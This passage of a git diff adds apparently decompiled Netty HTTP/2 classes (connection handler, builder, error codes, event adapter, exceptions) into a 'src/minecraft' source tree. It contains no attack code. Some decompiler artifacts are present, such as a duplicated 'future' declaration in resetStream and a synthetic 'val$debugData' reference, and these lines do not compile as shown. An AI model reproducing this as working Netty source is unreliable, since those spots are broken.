+    this.gracefulShutdownTimeoutMillis = gracefulShutdownTimeoutMillis;
+  }
+  
+  public Http2Connection connection() {
+    return encoder.connection();
+  }
+  
+  public Http2ConnectionDecoder decoder() {
+    return decoder;
+  }
+  
+  public Http2ConnectionEncoder encoder() {
+    return encoder;
+  }
+  
+  private boolean prefaceSent() {
+    return (byteDecoder != null) && (byteDecoder.prefaceSent());
+  }
+  
+
+
+  public void onHttpClientUpgrade()
+    throws Http2Exception
+  {
+    if (connection().isServer()) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Client-side HTTP upgrade requested for a server", new Object[0]);
+    }
+    if ((prefaceSent()) || (decoder.prefaceReceived())) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "HTTP upgrade must occur before HTTP/2 preface is sent or received", new Object[0]);
+    }
+    
+
+    connection().local().createStream(1, true);
+  }
+  
+
+
+  public void onHttpServerUpgrade(Http2Settings settings)
+    throws Http2Exception
+  {
+    if (!connection().isServer()) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Server-side HTTP upgrade requested for a client", new Object[0]);
+    }
+    if ((prefaceSent()) || (decoder.prefaceReceived())) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "HTTP upgrade must occur before HTTP/2 preface is sent or received", new Object[0]);
+    }
+    
+
+    encoder.remoteSettings(settings);
+    
+
+    connection().remote().createStream(1, true);
+  }
+  
+  public void flush(ChannelHandlerContext ctx)
+    throws Http2Exception
+  {
+    encoder.flowController().writePendingBytes();
+    try {
+      ctx.flush();
+    } catch (Throwable t) {
+      throw new Http2Exception(Http2Error.INTERNAL_ERROR, "Error flushing", t); } }
+  
+  private abstract class BaseDecoder { private BaseDecoder() {}
+    
+    public abstract void decode(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf, List<Object> paramList) throws Exception;
+    
+    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void channelActive(ChannelHandlerContext ctx) throws Exception
+    {}
+    public void channelInactive(ChannelHandlerContext ctx) throws Exception { encoder().close();
+      decoder().close();
+      
+
+
+      connection().close(ctx.voidPromise());
+    }
+    
+
+
+
+
+    public boolean prefaceSent() { return true; }
+  }
+  
+  private final class PrefaceDecoder extends Http2ConnectionHandler.BaseDecoder {
+    private ByteBuf clientPrefaceString;
+    private boolean prefaceSent;
+    
+    public PrefaceDecoder(ChannelHandlerContext ctx) {
+      super(null);
+      clientPrefaceString = Http2ConnectionHandler.clientPrefaceString(encoder.connection());
+      
+
+      sendPreface(ctx);
+    }
+    
+    public boolean prefaceSent()
+    {
+      return prefaceSent;
+    }
+    
+    public void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+    {
+      try {
+        if ((ctx.channel().isActive()) && (readClientPrefaceString(in)) && (verifyFirstFrameIsSettings(in)))
+        {
+          byteDecoder = new Http2ConnectionHandler.FrameDecoder(Http2ConnectionHandler.this, null);
+          byteDecoder.decode(ctx, in, out);
+        }
+      } catch (Throwable e) {
+        onError(ctx, e);
+      }
+    }
+    
+    public void channelActive(ChannelHandlerContext ctx)
+      throws Exception
+    {
+      sendPreface(ctx);
+    }
+    
+    public void channelInactive(ChannelHandlerContext ctx) throws Exception
+    {
+      cleanup();
+      super.channelInactive(ctx);
+    }
+    
+
+
+    public void handlerRemoved(ChannelHandlerContext ctx)
+      throws Exception
+    {
+      cleanup();
+    }
+    
+
+
+    private void cleanup()
+    {
+      if (clientPrefaceString != null) {
+        clientPrefaceString.release();
+        clientPrefaceString = null;
+      }
+    }
+    
+
+
+
+
+    private boolean readClientPrefaceString(ByteBuf in)
+      throws Http2Exception
+    {
+      if (clientPrefaceString == null) {
+        return true;
+      }
+      
+      int prefaceRemaining = clientPrefaceString.readableBytes();
+      int bytesRead = Math.min(in.readableBytes(), prefaceRemaining);
+      
+
+      if ((bytesRead == 0) || (!ByteBufUtil.equals(in, in.readerIndex(), clientPrefaceString, clientPrefaceString.readerIndex(), bytesRead)))
+      {
+
+        String receivedBytes = ByteBufUtil.hexDump(in, in.readerIndex(), Math.min(in.readableBytes(), clientPrefaceString.readableBytes()));
+        
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "HTTP/2 client preface string missing or corrupt. Hex dump for received bytes: %s", new Object[] { receivedBytes });
+      }
+      
+      in.skipBytes(bytesRead);
+      clientPrefaceString.skipBytes(bytesRead);
+      
+      if (!clientPrefaceString.isReadable())
+      {
+        clientPrefaceString.release();
+        clientPrefaceString = null;
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+
+    private boolean verifyFirstFrameIsSettings(ByteBuf in)
+      throws Http2Exception
+    {
+      if (in.readableBytes() < 5)
+      {
+        return false;
+      }
+      
+      short frameType = in.getUnsignedByte(in.readerIndex() + 3);
+      short flags = in.getUnsignedByte(in.readerIndex() + 4);
+      if ((frameType != 4) || ((flags & 0x1) != 0)) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "First received frame was not SETTINGS. Hex dump for first 5 bytes: %s", new Object[] { ByteBufUtil.hexDump(in, in.readerIndex(), 5) });
+      }
+      
+
+      return true;
+    }
+    
+
+
+    private void sendPreface(ChannelHandlerContext ctx)
+    {
+      if ((prefaceSent) || (!ctx.channel().isActive())) {
+        return;
+      }
+      
+      prefaceSent = true;
+      
+      if (!connection().isServer())
+      {
+        ctx.write(Http2CodecUtil.connectionPrefaceBuf()).addListener(ChannelFutureListener.CLOSE_ON_FAILURE);
+      }
+      
+
+      encoder.writeSettings(ctx, initialSettings, ctx.newPromise()).addListener(ChannelFutureListener.CLOSE_ON_FAILURE);
+    }
+  }
+  
+  private final class FrameDecoder extends Http2ConnectionHandler.BaseDecoder {
+    private FrameDecoder() { super(null); }
+    
+    public void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
+      try {
+        decoder.decodeFrame(ctx, in, out);
+      } catch (Throwable e) {
+        onError(ctx, e);
+      }
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    encoder.lifecycleManager(this);
+    decoder.lifecycleManager(this);
+    encoder.flowController().channelHandlerContext(ctx);
+    decoder.flowController().channelHandlerContext(ctx);
+    byteDecoder = new PrefaceDecoder(ctx);
+  }
+  
+  protected void handlerRemoved0(ChannelHandlerContext ctx) throws Exception
+  {
+    if (byteDecoder != null) {
+      byteDecoder.handlerRemoved(ctx);
+      byteDecoder = null;
+    }
+  }
+  
+  public void channelActive(ChannelHandlerContext ctx) throws Exception
+  {
+    if (byteDecoder == null) {
+      byteDecoder = new PrefaceDecoder(ctx);
+    }
+    byteDecoder.channelActive(ctx);
+    super.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    super.channelInactive(ctx);
+    if (byteDecoder != null) {
+      byteDecoder.channelInactive(ctx);
+      byteDecoder = null;
+    }
+  }
+  
+  public void channelWritabilityChanged(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    try
+    {
+      if (ctx.channel().isWritable()) {
+        flush(ctx);
+      }
+      encoder.flowController().channelWritabilityChanged();
+    } finally {
+      super.channelWritabilityChanged(ctx);
+    }
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    byteDecoder.decode(ctx, in, out);
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise) throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.disconnect(promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    promise = promise.unvoid();
+    
+    if (!ctx.channel().isActive()) {
+      ctx.close(promise);
+      return;
+    }
+    
+
+
+
+
+
+    ChannelFuture future = connection().goAwaySent() ? ctx.write(Unpooled.EMPTY_BUFFER) : goAway(ctx, null);
+    ctx.flush();
+    doGracefulShutdown(ctx, future, promise);
+  }
+  
+  private void doGracefulShutdown(ChannelHandlerContext ctx, ChannelFuture future, ChannelPromise promise) {
+    if (isGracefulShutdownComplete())
+    {
+      future.addListener(new ClosingChannelFutureListener(ctx, promise));
+    }
+    else {
+      closeListener = new ClosingChannelFutureListener(ctx, promise, gracefulShutdownTimeoutMillis, TimeUnit.MILLISECONDS);
+    }
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.read();
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    ctx.write(msg, promise);
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    try
+    {
+      flush(ctx);
+    } finally {
+      super.channelReadComplete(ctx);
+    }
+  }
+  
+
+
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    if (Http2CodecUtil.getEmbeddedHttp2Exception(cause) != null)
+    {
+      onError(ctx, cause);
+    } else {
+      super.exceptionCaught(ctx, cause);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void closeStreamLocal(Http2Stream stream, ChannelFuture future)
+  {
+    switch (stream.state()) {
+    case HALF_CLOSED_LOCAL: 
+    case OPEN: 
+      stream.closeLocalSide();
+      break;
+    default: 
+      closeStream(stream, future);
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public void closeStreamRemote(Http2Stream stream, ChannelFuture future)
+  {
+    switch (stream.state()) {
+    case OPEN: 
+    case HALF_CLOSED_REMOTE: 
+      stream.closeRemoteSide();
+      break;
+    default: 
+      closeStream(stream, future);
+    }
+    
+  }
+  
+  public void closeStream(Http2Stream stream, ChannelFuture future)
+  {
+    stream.close();
+    
+    if (future.isDone()) {
+      checkCloseConnection(future);
+    } else {
+      future.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          Http2ConnectionHandler.this.checkCloseConnection(future);
+        }
+      });
+    }
+  }
+  
+
+
+
+  public void onError(ChannelHandlerContext ctx, Throwable cause)
+  {
+    Http2Exception embedded = Http2CodecUtil.getEmbeddedHttp2Exception(cause);
+    if (Http2Exception.isStreamError(embedded)) {
+      onStreamError(ctx, cause, (Http2Exception.StreamException)embedded);
+    } else if ((embedded instanceof Http2Exception.CompositeStreamException)) {
+      Http2Exception.CompositeStreamException compositException = (Http2Exception.CompositeStreamException)embedded;
+      for (Http2Exception.StreamException streamException : compositException) {
+        onStreamError(ctx, cause, streamException);
+      }
+    } else {
+      onConnectionError(ctx, cause, embedded);
+    }
+    ctx.flush();
+  }
+  
+
+
+
+
+  protected boolean isGracefulShutdownComplete()
+  {
+    return connection().numActiveStreams() == 0;
+  }
+  
+
+
+
+
+
+
+
+
+  protected void onConnectionError(ChannelHandlerContext ctx, Throwable cause, Http2Exception http2Ex)
+  {
+    if (http2Ex == null) {
+      http2Ex = new Http2Exception(Http2Error.INTERNAL_ERROR, cause.getMessage(), cause);
+    }
+    
+    ChannelPromise promise = ctx.newPromise();
+    ChannelFuture future = goAway(ctx, http2Ex);
+    switch (http2Ex.shutdownHint()) {
+    case GRACEFUL_SHUTDOWN: 
+      doGracefulShutdown(ctx, future, promise);
+      break;
+    default: 
+      future.addListener(new ClosingChannelFutureListener(ctx, promise));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+
+  protected void onStreamError(ChannelHandlerContext ctx, Throwable cause, Http2Exception.StreamException http2Ex)
+  {
+    resetStream(ctx, http2Ex.streamId(), http2Ex.error().code(), ctx.newPromise());
+  }
+  
+  protected Http2FrameWriter frameWriter() {
+    return encoder().frameWriter();
+  }
+  
+
+
+
+
+
+  private ChannelFuture resetUnknownStream(final ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    ChannelFuture future = frameWriter().writeRstStream(ctx, streamId, errorCode, promise);
+    if (future.isDone()) {
+      closeConnectionOnError(ctx, future);
+    } else {
+      future.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          Http2ConnectionHandler.this.closeConnectionOnError(ctx, future);
+        }
+      });
+    }
+    return future;
+  }
+  
+
+  public ChannelFuture resetStream(final ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    promise = promise.unvoid();
+    final Http2Stream stream = connection().stream(streamId);
+    if (stream == null) {
+      return resetUnknownStream(ctx, streamId, errorCode, promise);
+    }
+    
+    if (stream.isResetSent())
+    {
+      return promise.setSuccess(); }
+    ChannelFuture future;
+    ChannelFuture future;
+    if (stream.state() == Http2Stream.State.IDLE)
+    {
+      future = promise.setSuccess();
+    } else {
+      future = frameWriter().writeRstStream(ctx, streamId, errorCode, promise);
+    }
+    
+
+
+    stream.resetSent();
+    
+    if (future.isDone()) {
+      processRstStreamWriteResult(ctx, stream, future);
+    } else {
+      future.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          Http2ConnectionHandler.this.processRstStreamWriteResult(ctx, stream, future);
+        }
+      });
+    }
+    
+    return future;
+  }
+  
+  public ChannelFuture goAway(final ChannelHandlerContext ctx, final int lastStreamId, final long errorCode, ByteBuf debugData, ChannelPromise promise)
+  {
+    try
+    {
+      promise = promise.unvoid();
+      Http2Connection connection = connection();
+      if (connection().goAwaySent())
+      {
+
+        if (lastStreamId == connection().remote().lastStreamKnownByPeer())
+        {
+          debugData.release();
+          return promise.setSuccess();
+        }
+        if (lastStreamId > connection.remote().lastStreamKnownByPeer()) {
+          throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Last stream identifier must not increase between sending multiple GOAWAY frames (was '%d', is '%d').", new Object[] { Integer.valueOf(connection.remote().lastStreamKnownByPeer()), Integer.valueOf(lastStreamId) });
+        }
+      }
+      
+
+
+      connection.goAwaySent(lastStreamId, errorCode, debugData);
+      
+
+
+      debugData.retain();
+      ChannelFuture future = frameWriter().writeGoAway(ctx, lastStreamId, errorCode, debugData, promise);
+      
+      if (future.isDone()) {
+        processGoAwayWriteResult(ctx, lastStreamId, errorCode, debugData, future);
+      } else {
+        future.addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            Http2ConnectionHandler.processGoAwayWriteResult(ctx, lastStreamId, errorCode, val$debugData, future);
+          }
+        });
+      }
+      
+      return future;
+    } catch (Throwable cause) {
+      debugData.release();
+      return promise.setFailure(cause);
+    }
+  }
+  
+
+
+
+
+
+  private void checkCloseConnection(ChannelFuture future)
+  {
+    if ((this.closeListener != null) && (isGracefulShutdownComplete())) {
+      ChannelFutureListener closeListener = this.closeListener;
+      
+
+      this.closeListener = null;
+      try {
+        closeListener.operationComplete(future);
+      } catch (Exception e) {
+        throw new IllegalStateException("Close listener threw an unexpected exception", e);
+      }
+    }
+  }
+  
+
+
+
+  private ChannelFuture goAway(ChannelHandlerContext ctx, Http2Exception cause)
+  {
+    long errorCode = cause != null ? cause.error().code() : Http2Error.NO_ERROR.code();
+    int lastKnownStream = connection().remote().lastStreamCreated();
+    return goAway(ctx, lastKnownStream, errorCode, Http2CodecUtil.toByteBuf(ctx, cause), ctx.newPromise());
+  }
+  
+  private void processRstStreamWriteResult(ChannelHandlerContext ctx, Http2Stream stream, ChannelFuture future) {
+    if (future.isSuccess()) {
+      closeStream(stream, future);
+    }
+    else {
+      onConnectionError(ctx, future.cause(), null);
+    }
+  }
+  
+  private void closeConnectionOnError(ChannelHandlerContext ctx, ChannelFuture future) {
+    if (!future.isSuccess()) {
+      onConnectionError(ctx, future.cause(), null);
+    }
+  }
+  
+
+
+  private static ByteBuf clientPrefaceString(Http2Connection connection)
+  {
+    return connection.isServer() ? Http2CodecUtil.connectionPrefaceBuf() : null;
+  }
+  
+  private static void processGoAwayWriteResult(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData, ChannelFuture future)
+  {
+    try {
+      if (future.isSuccess()) {
+        if (errorCode != Http2Error.NO_ERROR.code()) {
+          if (logger.isDebugEnabled()) {
+            logger.debug("{} Sent GOAWAY: lastStreamId '{}', errorCode '{}', debugData '{}'. Forcing shutdown of the connection.", new Object[] { ctx.channel(), Integer.valueOf(lastStreamId), Long.valueOf(errorCode), debugData.toString(CharsetUtil.UTF_8), future.cause() });
+          }
+          
+
+          ctx.close();
+        }
+      } else {
+        if (logger.isDebugEnabled()) {
+          logger.debug("{} Sending GOAWAY failed: lastStreamId '{}', errorCode '{}', debugData '{}'. Forcing shutdown of the connection.", new Object[] { ctx.channel(), Integer.valueOf(lastStreamId), Long.valueOf(errorCode), debugData.toString(CharsetUtil.UTF_8), future.cause() });
+        }
+        
+
+        ctx.close();
+      }
+    }
+    finally {
+      debugData.release();
+    }
+  }
+  
+  private static final class ClosingChannelFutureListener
+    implements ChannelFutureListener
+  {
+    private final ChannelHandlerContext ctx;
+    private final ChannelPromise promise;
+    private final ScheduledFuture<?> timeoutTask;
+    
+    ClosingChannelFutureListener(ChannelHandlerContext ctx, ChannelPromise promise)
+    {
+      this.ctx = ctx;
+      this.promise = promise;
+      timeoutTask = null;
+    }
+    
+    ClosingChannelFutureListener(final ChannelHandlerContext ctx, final ChannelPromise promise, long timeout, TimeUnit unit)
+    {
+      this.ctx = ctx;
+      this.promise = promise;
+      timeoutTask = ctx.executor().schedule(new Runnable()
+      {
+
+        public void run() { ctx.close(promise); } }, timeout, unit);
+    }
+    
+
+    public void operationComplete(ChannelFuture sentGoAwayFuture)
+      throws Exception
+    {
+      if (timeoutTask != null) {
+        timeoutTask.cancel(false);
+      }
+      ctx.close(promise);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandlerBuilder.java b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandlerBuilder.java
new file mode 100644
index 0000000..4bb31cf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandlerBuilder.java
@@ -0,0 +1,90 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2ConnectionHandlerBuilder
+  extends AbstractHttp2ConnectionHandlerBuilder<Http2ConnectionHandler, Http2ConnectionHandlerBuilder>
+{
+  public Http2ConnectionHandlerBuilder() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public Http2ConnectionHandlerBuilder validateHeaders(boolean validateHeaders)
+  {
+    return (Http2ConnectionHandlerBuilder)super.validateHeaders(validateHeaders);
+  }
+  
+  public Http2ConnectionHandlerBuilder initialSettings(Http2Settings settings)
+  {
+    return (Http2ConnectionHandlerBuilder)super.initialSettings(settings);
+  }
+  
+  public Http2ConnectionHandlerBuilder frameListener(Http2FrameListener frameListener)
+  {
+    return (Http2ConnectionHandlerBuilder)super.frameListener(frameListener);
+  }
+  
+  public Http2ConnectionHandlerBuilder gracefulShutdownTimeoutMillis(long gracefulShutdownTimeoutMillis)
+  {
+    return (Http2ConnectionHandlerBuilder)super.gracefulShutdownTimeoutMillis(gracefulShutdownTimeoutMillis);
+  }
+  
+  public Http2ConnectionHandlerBuilder server(boolean isServer)
+  {
+    return (Http2ConnectionHandlerBuilder)super.server(isServer);
+  }
+  
+  public Http2ConnectionHandlerBuilder connection(Http2Connection connection)
+  {
+    return (Http2ConnectionHandlerBuilder)super.connection(connection);
+  }
+  
+  public Http2ConnectionHandlerBuilder codec(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder)
+  {
+    return (Http2ConnectionHandlerBuilder)super.codec(decoder, encoder);
+  }
+  
+  public Http2ConnectionHandlerBuilder frameLogger(Http2FrameLogger frameLogger)
+  {
+    return (Http2ConnectionHandlerBuilder)super.frameLogger(frameLogger);
+  }
+  
+
+  public Http2ConnectionHandlerBuilder encoderEnforceMaxConcurrentStreams(boolean encoderEnforceMaxConcurrentStreams)
+  {
+    return (Http2ConnectionHandlerBuilder)super.encoderEnforceMaxConcurrentStreams(encoderEnforceMaxConcurrentStreams);
+  }
+  
+  public Http2ConnectionHandlerBuilder headerSensitivityDetector(Http2HeadersEncoder.SensitivityDetector headerSensitivityDetector)
+  {
+    return (Http2ConnectionHandlerBuilder)super.headerSensitivityDetector(headerSensitivityDetector);
+  }
+  
+  public Http2ConnectionHandler build()
+  {
+    return super.build();
+  }
+  
+
+  protected Http2ConnectionHandler build(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder, Http2Settings initialSettings)
+  {
+    return new Http2ConnectionHandler(decoder, encoder, initialSettings);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2DataFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2DataFrame.java
new file mode 100644
index 0000000..5e1c0f2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2DataFrame.java
@@ -0,0 +1,30 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface Http2DataFrame
+  extends Http2StreamFrame, ByteBufHolder
+{
+  public abstract boolean isEndStream();
+  
+  public abstract int padding();
+  
+  public abstract ByteBuf content();
+  
+  public abstract Http2DataFrame copy();
+  
+  public abstract Http2DataFrame duplicate();
+  
+  public abstract Http2DataFrame retainedDuplicate();
+  
+  public abstract Http2DataFrame replace(ByteBuf paramByteBuf);
+  
+  public abstract Http2DataFrame retain();
+  
+  public abstract Http2DataFrame retain(int paramInt);
+  
+  public abstract Http2DataFrame touch();
+  
+  public abstract Http2DataFrame touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2DataWriter.java b/src/minecraft/io/netty/handler/codec/http2/Http2DataWriter.java
new file mode 100644
index 0000000..64ba6bc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2DataWriter.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+
+public abstract interface Http2DataWriter
+{
+  public abstract ChannelFuture writeData(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, ByteBuf paramByteBuf, int paramInt2, boolean paramBoolean, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Error.java b/src/minecraft/io/netty/handler/codec/http2/Http2Error.java
new file mode 100644
index 0000000..4aba2a1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Error.java
@@ -0,0 +1,66 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum Http2Error
+{
+  NO_ERROR(0L), 
+  PROTOCOL_ERROR(1L), 
+  INTERNAL_ERROR(2L), 
+  FLOW_CONTROL_ERROR(3L), 
+  SETTINGS_TIMEOUT(4L), 
+  STREAM_CLOSED(5L), 
+  FRAME_SIZE_ERROR(6L), 
+  REFUSED_STREAM(7L), 
+  CANCEL(8L), 
+  COMPRESSION_ERROR(9L), 
+  CONNECT_ERROR(10L), 
+  ENHANCE_YOUR_CALM(11L), 
+  INADEQUATE_SECURITY(12L), 
+  HTTP_1_1_REQUIRED(13L);
+  
+  private final long code;
+  private static final Http2Error[] INT_TO_ENUM_MAP;
+  
+  static { Http2Error[] errors = values();
+    Http2Error[] map = new Http2Error[errors.length];
+    for (int i = 0; i < errors.length; i++) {
+      Http2Error error = errors[i];
+      map[((int)error.code())] = error;
+    }
+    INT_TO_ENUM_MAP = map;
+  }
+  
+  private Http2Error(long code) {
+    this.code = code;
+  }
+  
+
+
+  public long code()
+  {
+    return code;
+  }
+  
+  public static Http2Error valueOf(long value) {
+    return (value >= INT_TO_ENUM_MAP.length) || (value < 0L) ? null : INT_TO_ENUM_MAP[((int)value)];
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2EventAdapter.java b/src/minecraft/io/netty/handler/codec/http2/Http2EventAdapter.java
new file mode 100644
index 0000000..b0b5905
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2EventAdapter.java
@@ -0,0 +1,100 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2EventAdapter
+  implements Http2Connection.Listener, Http2FrameListener
+{
+  public Http2EventAdapter() {}
+  
+  public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    return data.readableBytes() + padding;
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+    throws Http2Exception
+  {}
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+    throws Http2Exception
+  {}
+  
+  public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+    throws Http2Exception
+  {}
+  
+  public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode)
+    throws Http2Exception
+  {}
+  
+  public void onSettingsAckRead(ChannelHandlerContext ctx)
+    throws Http2Exception
+  {}
+  
+  public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings)
+    throws Http2Exception
+  {}
+  
+  public void onPingRead(ChannelHandlerContext ctx, ByteBuf data)
+    throws Http2Exception
+  {}
+  
+  public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data)
+    throws Http2Exception
+  {}
+  
+  public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+    throws Http2Exception
+  {}
+  
+  public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+    throws Http2Exception
+  {}
+  
+  public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+    throws Http2Exception
+  {}
+  
+  public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload)
+    throws Http2Exception
+  {}
+  
+  public void onStreamAdded(Http2Stream stream) {}
+  
+  public void onStreamActive(Http2Stream stream) {}
+  
+  public void onStreamHalfClosed(Http2Stream stream) {}
+  
+  public void onStreamClosed(Http2Stream stream) {}
+  
+  public void onStreamRemoved(Http2Stream stream) {}
+  
+  public void onPriorityTreeParentChanged(Http2Stream stream, Http2Stream oldParent) {}
+  
+  public void onPriorityTreeParentChanging(Http2Stream stream, Http2Stream newParent) {}
+  
+  public void onWeightChanged(Http2Stream stream, short oldWeight) {}
+  
+  public void onGoAwaySent(int lastStreamId, long errorCode, ByteBuf debugData) {}
+  
+  public void onGoAwayReceived(int lastStreamId, long errorCode, ByteBuf debugData) {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Exception.java b/src/minecraft/io/netty/handler/codec/http2/Http2Exception.java
new file mode 100644
index 0000000..6dbc2d3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Exception.java
@@ -0,0 +1,253 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2Exception
+  extends Exception
+{
+  private static final long serialVersionUID = -6941186345430164209L;
+  private final Http2Error error;
+  private final ShutdownHint shutdownHint;
+  
+  public Http2Exception(Http2Error error)
+  {
+    this(error, ShutdownHint.HARD_SHUTDOWN);
+  }
+  
+  public Http2Exception(Http2Error error, ShutdownHint shutdownHint) {
+    this.error = ((Http2Error)ObjectUtil.checkNotNull(error, "error"));
+    this.shutdownHint = ((ShutdownHint)ObjectUtil.checkNotNull(shutdownHint, "shutdownHint"));
+  }
+  
+  public Http2Exception(Http2Error error, String message) {
+    this(error, message, ShutdownHint.HARD_SHUTDOWN);
+  }
+  
+  public Http2Exception(Http2Error error, String message, ShutdownHint shutdownHint) {
+    super(message);
+    this.error = ((Http2Error)ObjectUtil.checkNotNull(error, "error"));
+    this.shutdownHint = ((ShutdownHint)ObjectUtil.checkNotNull(shutdownHint, "shutdownHint"));
+  }
+  
+  public Http2Exception(Http2Error error, String message, Throwable cause) {
+    this(error, message, cause, ShutdownHint.HARD_SHUTDOWN);
+  }
+  
+  public Http2Exception(Http2Error error, String message, Throwable cause, ShutdownHint shutdownHint) {
+    super(message, cause);
+    this.error = ((Http2Error)ObjectUtil.checkNotNull(error, "error"));
+    this.shutdownHint = ((ShutdownHint)ObjectUtil.checkNotNull(shutdownHint, "shutdownHint"));
+  }
+  
+  public Http2Error error() {
+    return error;
+  }
+  
+
+
+  public ShutdownHint shutdownHint()
+  {
+    return shutdownHint;
+  }
+  
+
+
+
+
+
+
+
+  public static Http2Exception connectionError(Http2Error error, String fmt, Object... args)
+  {
+    return new Http2Exception(error, String.format(fmt, args));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Http2Exception connectionError(Http2Error error, Throwable cause, String fmt, Object... args)
+  {
+    return new Http2Exception(error, String.format(fmt, args), cause);
+  }
+  
+
+
+
+
+
+
+
+  public static Http2Exception closedStreamError(Http2Error error, String fmt, Object... args)
+  {
